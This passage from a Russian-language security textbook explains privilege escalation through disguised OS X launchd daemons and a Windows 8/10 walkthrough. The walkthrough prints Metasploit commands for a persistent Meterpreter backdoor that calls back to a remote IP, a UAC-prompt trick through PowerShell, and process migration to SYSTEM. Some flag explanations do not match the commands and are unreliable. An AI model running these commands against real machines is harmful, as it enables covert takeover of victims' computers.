Выполнение повышения привилегий
175
OS X. При загрузке OS X обычно запускается launchd для завершения инициа-
лизации системы. Этот процесс отвечает за загрузку параметров демонов
из файлов plist, находящихся в /Library/LaunchDaemons. У демонов есть файлы
списка свойств, указывающие на исполняемые файлы, которые должны быть
запущены автоматически. Злоумышленники могут воспользоваться этим
процессом автозапуска для повышения привилегий.
Они могут установить
собственные демоны для запуска и настроить их на запуск во время про-
цесса загрузки, используя процесс launchd. Демоны злоумышленников могут
получить замаскированные имена, похожие на относящиеся к ним ОС или
приложения. Запускаемые демоны создаются с правами администратора, но
выполняются с правами root. Поэтому если злоумышленники добьются успе-
ха, указанные ими демоны будут запущены автоматически, а их привилегии
расширены от администратора до пользователя root. Можно заметить, что
злоумышленники снова используют легитимный
процесс для повышения
привилегий.
Практический пример повышения привилегий в Windows 8
Этот практический пример работает в Windows 8, а также, как сообщалось, эф-
фективен и для Windows 10. В нем используются методы, о которых уже шла
речь, а именно PowerShell и Meterpreter. Этот хитрый метод вынуждает пользо-
вателя компьютера, выбранного в качестве объекта атаки, невольно разрешать
запуск легитимной программы, которая, в свою очередь, повышает привиле-
гии. Следовательно, именно пользователь неосознанно позволяет злоумыш-
ленникам наращивать свои привилегии. Процесс
начинается в Metasploit
и особенно в Meterpreter. Вначале используется Meterpreter для установления
соединения с жертвой. Это соединение нужно злоумышленникам для отправ-
ки команд на компьютер жертвы и эффективного управления ею.
Ниже приведен сценарий, называющийся persistence,
который злоумыш-
ленник может использовать для запуска сеанса с удаленной целью. Сценарий
создает постоянного слушателя в системе жертвы, который запускается при
загрузке.
Вот как это выглядит:
meterpreter >run persistence -A -L c:\ -X 30 -p 443 -r 10.108.210.25
Эта команда запускает обработчик на жертве (A), помещает Meterpreter на
диск C компьютера-жертвы (L c: \) и дает слушателю указание запуститься при
загрузке (X), выполнить проверку с интервалом в 30 с (i 30) и отвечать на порту
443 IP-адреса жертвы. Хакер может проверить, было ли соединение простым,
отправив команду reboot на компьютер жертвы и наблюдая за ее поведением.
Команда reboot выглядит так:
Meterpreter>
reboot
Если результаты удовлетворительны, злоумышленник может установить
фоновую сессию и предпринять попытку повышения привилегий. Meterpreter
176
Повышение привилегий
запустит сеанс в фоновом режиме и позволит Metasploit выполнять другие
действия.
В терминале Metasploit выдается команда
Msf exploit (handler)> Use exploit/windows/local/ask
Эта команда работает во всех версиях Windows. Она используется для запро-
са, чтобы пользователь на компьютере, выбранном в качестве цели, невольно
повышал уровень выполнения атакующего. Пользователь
должен щелкнуть
ОК при появлении на экране ничего не предвещающей подсказки с запросом
разрешения на запуск программы. Требуется согласие пользователя. Если оно
не будет дано, попытка повышения привилегий не будет успешной. Поэтому
злоумышленник должен попросить пользователя разрешить запуск легитим-
ной программы, и именно здесь в действие вступает PowerShell. Следователь-
но, злоумышленникам необходимо использовать ask с помощью PowerShell.
Вот как это делается:
Msf exploit(ask)> set TECHNIQUE PSH
Msf exploit(ask)> run
В этот момент на экране жертвы появится всплывающее окно с предложени-
ем разрешить запуск PowerShell, полностью легитимной программы Windows.
В большинстве случаев пользователь нажимает кнопку
ОК. Получив разреше-
ние, злоумышленник может использовать PowerShell для перехода от обычно-
го пользователя к системному пользователю следующим образом:
Meterpreter> migrate 1340
Таким образом, 1340 указан как системный пользователь Metasploit. В слу-
чае успеха злоумышленники получат больше привилегий. Проверка привиле-
гий, которыми располагают злоумышленники, должна показать, что у них есть
права администратора и системы. Тем не менее у администратора 1340 только
четыре привилегии Windows, и их недостаточно для выполнения крупной ата-
ки. Злоумышленник должен наращивать свои привилегии, чтобы иметь воз-
можность совершать больше вредоносных действий. Затем злоумышленники
могут перейти на 3772, который является пользователем NT AuthoritySystem. Это
можно сделать с помощью следующей команды:
Meterpreter> migrate 3772
У злоумышленников по-прежнему будут права администратора и пользо-
вателя root, а также дополнительные привилегии Windows. Эти дополнитель-
ные привилегии, коих 13, могут позволить злоумышленникам совершить мно-
жество действий с жертвой, используя Metasploit.
Do'stlaringiz bilan baham: 
